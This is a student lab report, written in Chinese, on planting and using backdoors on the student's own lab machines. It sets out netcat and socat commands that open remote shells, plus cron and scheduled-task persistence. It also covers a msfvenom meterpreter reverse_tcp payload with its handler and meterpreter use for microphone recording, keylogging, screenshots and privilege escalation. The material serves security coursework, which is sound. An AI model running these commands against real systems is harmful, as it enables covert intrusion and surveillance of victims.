实践基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

应用程序设定后门,用户安装后,后门就可以进入。例如课堂上讲到的百度。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

win中的后门伴随软件启动
linux可以用corn启动

(3)Meterpreter有哪些给你映像深刻的功能?

可以获取他人的语音录音和视屏,还可以获取他人操作系统权限。

(4)如何发现自己有系统有没有被安装后门?

杀毒软件查杀。

试验过程

课堂上试验:

实践过程:

(1)查看win7和kali的ip:


(2)进入ncat.exe目录下运行ncat.exe -l -p 5313
(3)反向链接:nc 192.168.43.65313 -e /bin/sh

(4)kali输入nc -l -p 5313
(5)Windows反弹连接Linux:``` ncat.exe -e cmd.exe 192.168.43.56 5313

任务一:使用netcat获取主机操作Shell,cron启动

实践过程:

(1)Windows输入指令ncat.exe -l -p 5313 监听
(2)Linux输入指令crontab -e,选择3打开,在最后一行添加代码:53 * * * * /bin/netcat 192.168.1.185 5313 -e /bin/sh 在每小时的53分运行ncat回连win主机


(输入保存完成后,可以通过crontab -l来查看)

(3)时间到了,就可以运行Linux shell指令:

任务二:使用socat获取主机操作Shell, 任务计划启动

实践过程:

(1)打开Windows->控制面板->系统和安全->管理工具->任务计划程序:

(2)新建任务计划,填写任务名称
(3)新建触发器,设置为工作站锁定时,并启用:

(4)新建操作,在程序或脚本中选择所下载的socat.exe文件路径,在添加参数中添加tcp-listen:5313 exec:cmd.exe,pty,stderr命令

(5)运行创建任务,在linux中输入指令socat - tcp:192.168.1.185:5313

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

实践过程:

(1)在Linux主机输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.56 LPORT=5313 -f exe > 20165313_backdoor.exe ,此条指令意为生成一个.exe程序,名称为 20165313_backdoor,将来在windows上运行时会回连到Linux主机相应端口

(2)在cmd中输入指令ncat.exe -l 5313 > 5313_backdoor.exe回车准备接收文件:

(3)在kali中输入指令nc 192.168.43.6 5313 < 20165313_backdoor.exe发送文件:

(4)输入msfconsole启动
(5)依次输入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.56
set LPORT 5313
输入show options查看:

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

实践过程:

(1)Linux输入指令exploit 开始监听
(2)windows 双击后门程序执行。
(3)输入指令record_mic 录制一段音频


(4)webcam_list查看目标主机是否有摄像头

(5)输入指令screenshot 截取屏幕

(6)输入指令keyscan_start记录击键内容,输入指令keyscan_dump 获取击键记录

(7)输入指令getsystem提权失败

任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

参考了同组任胤的博客(https://www.cnblogs.com/FenixRen/p/10562400.html),发现他先生成shellcode ,再注入pwn1的方法走不通,我就试想是不是MSF可以直接将shellcode注入到PWN1文件中去,我去找了找,发现MSF可以自己生成一个可执行的后门,并且可以设定输出的格式(https://blog.csdn.net/zsj2102/article/details/78549508),又根据学姐的博客成功使用MSF生成shellcode,pwn1中。如下图所示:

基本步骤学长的博客中都有了详细的介绍,这里我就不重复了(感兴趣的可以自己看看),这里我想说的是:
(1)在利用MSF注入时应考虑执行文件的属性问题,即是32位还是64位执行文件。
(2)打开MSF进行监听的时候,要根据被攻击的主机即后门程序进行设置,即 set payload xxxxxx/meterpreter/reverse_tcp 中的xxxxx要根据实际情况进行修改。任务三,四中被监听主机是Windows系统,则应为windows,而任务五中,则应改成linux/x86
(3)操作细节注意:在Linux执行pwn3(注入shellcode之后的文件)应先加权限 chmod +x pwn3
(4)msfvenom –h 查看帮助:
中文解释:

 -p, --payload     <payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定

     -l, --list       [module_type]   列出指定模块的所有可用资源.模块类型包括: payloads, encoders, nops, all

     -n, --nopsled     <length>        为payload预先指定一个NOP滑动长度

     -f, --format      <format>        指定输出格式 (使用 --help-formats来获取msf支持的输出格式列表)

     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)

     -a, --arch        <architecture>  指定payload的目标架构

         --platform    <platform>      指定payload的目标平台

     -s, --space       <length>        设定有效攻击荷载的最大长度

     -b, --bad-chars   <list>          设定规避字符集,比如: '\x00\xff'

     -i, --iterations <count>          指定payload的编码次数

     -c, --add-code    <path>          指定一个附加的win32 shellcode文件

     -x, --template    <path>          指定一个自定义的可执行文件作为模板

     -k, --keep                        保护模板程序的动作,注入的payload作为一个新的进程运行

         --payload-options            列举payload的标准选项

     -o, --out   <path>               保存payload

     -v, --var-name <name>             指定一个自定义的变量,以确定输出格式

         --shellest                   最小化生成payload

     -h, --help                        查看帮助选项

         --help-formats               查看msf支持的输出格式列表

实验总结与体会

通过后门进行的攻击更加隐蔽,也更加难以防御,所以只有真正了解其原理,才能找出对应的防御方法。